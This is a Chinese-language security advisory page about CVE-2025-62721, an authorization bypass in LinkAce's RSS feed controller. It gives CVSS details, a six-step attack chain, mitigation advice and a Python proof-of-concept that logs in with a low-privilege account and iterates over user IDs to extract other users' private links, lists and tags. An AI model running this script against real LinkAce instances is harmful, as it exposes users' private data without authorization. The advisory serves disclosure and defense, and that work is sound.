IPBUF安全漏洞报告
English
CVE-2025-62721 CVSS 6.5 中危

CVE-2025-62721 LinkAce FeedController 授权绕过漏洞

披露日期: 2025-11-04

漏洞信息

漏洞编号
CVE-2025-62721
漏洞类型
授权绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LinkAce

相关标签

授权绕过IDOR访问控制RSS FeedLinkAceCVE-2025-62721信息泄露Web应用安全

漏洞概述

CVE-2025-62721是LinkAce应用中存在的严重授权绕过漏洞。LinkAce是一款自托管的网站链接存档工具,用于帮助用户收藏和管理互联网资源。在2.3.1及更早版本中,FeedController类中的RSS feed端点存在授权检查缺陷。该漏洞允许任何已认证的低权限用户无需额外权限即可访问系统中所有用户的私有链接、列表和标签信息,完全绕过了正常的所有权和可见性权限控制机制。由于CVSS评分6.5且机密性影响为高,此漏洞可能导致大量敏感数据泄露,包括其他用户的收藏内容和组织结构信息。漏洞已于2025年11月4日披露,厂商在2.4.0版本中修复了此问题。

技术细节

LinkAce的FeedController类负责处理RSS feed相关的HTTP请求。在实现过程中,开发者遗漏了关键的对象级别授权检查(Object-Level Authorization)。具体来说,当用户请求RSS feed端点时,系统仅验证了用户身份(是否已登录),但未验证请求的数据对象是否属于当前用户。攻击者只需使用一个普通账户登录,然后构造针对其他用户资源的RSS feed请求,即可获取目标用户的完整链接列表、标签信息等敏感数据。这种IDOR(Insecure Direct Object Reference)类型的漏洞在Web应用中是常见的安全缺陷,攻击门槛低且影响范围广。利用该漏洞的前提是拥有一个有效的基本账户,但一旦获得账户,攻击者可以横向移动访问整个系统数据库中的用户数据。修复方案需要在每个数据访问点添加用户身份与资源所有权的验证逻辑。

攻击链分析

STEP 1
步骤1
攻击者注册或获取LinkAce系统中的一个普通用户账户(低权限)
STEP 2
步骤2
攻击者使用该账户登录系统,获取有效的会话认证令牌
STEP 3
步骤3
攻击者构造恶意请求,访问RSS feed端点并指定目标用户ID(如user_id=1)
STEP 4
步骤4
由于FeedController未验证请求用户与资源所有权的匹配关系,系统返回目标用户的私有数据
STEP 5
步骤5
攻击者通过遍历用户ID,批量提取系统中所有用户的链接、列表和标签信息
STEP 6
步骤6
攻击者利用获取的敏感数据进行进一步攻击或出售数据牟利

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62721 PoC - LinkAce RSS Feed Authorization Bypass # Affected versions: LinkAce <= 2.3.1 # Fixed in: LinkAce 2.4.0 import requests import sys TARGET_URL = "http://target-linkace-instance.com" ATTACKER_USERNAME = "[email protected]" ATTACKER_PASSWORD = "password123" TARGET_USER_ID = 1 # ID of the target user to extract data from def exploit(): """ Exploitation steps: 1. Authenticate with a low-privilege account 2. Access RSS feed endpoints to retrieve all users' data 3. Bypass ownership/visibility controls """ session = requests.Session() # Step 1: Login with low-privilege account login_url = f"{TARGET_URL}/login" login_data = { "email": ATTACKER_USERNAME, "password": ATTACKER_PASSWORD } response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful with low-privilege account") # Step 2: Access RSS feed endpoint to bypass authorization # The vulnerable endpoint does not check if the requested user_id belongs to the current user rss_urls = [ f"{TARGET_URL}/api/feed/links?user_id={TARGET_USER_ID}", f"{TARGET_URL}/api/feed/lists?user_id={TARGET_USER_ID}", f"{TARGET_URL}/api/feed/tags?user_id={TARGET_USER_ID}", f"{TARGET_URL}/rss/all?user_id={TARGET_USER_ID}" ] for url in rss_urls: response = session.get(url) if response.status_code == 200: print(f"[+] Successfully accessed data from: {url}") print(f" Data preview: {response.text[:200]}...") else: print(f"[-] Failed to access: {url}") # Step 3: Extract all users' data by iterating through user IDs print("\n[*] Extracting data for all users...") for user_id in range(1, 100): url = f"{TARGET_URL}/api/feed/links?user_id={user_id}" response = session.get(url) if response.status_code == 200 and len(response.text) > 50: print(f"[+] User {user_id} data extracted: {len(response.text)} bytes") print("[!] Authorization bypass successful - all users' data exposed") return True if __name__ == "__main__": exploit()

影响范围

LinkAce < 2.4.0

防御指南

临时缓解措施
如果无法立即升级,可通过配置Web应用防火墙(WAF)规则限制RSS feed端点的访问频率和来源IP,同时监控异常的数据访问模式。建议管理员检查系统日志,排查是否存在未授权的数据访问行为,并评估是否有用户数据泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表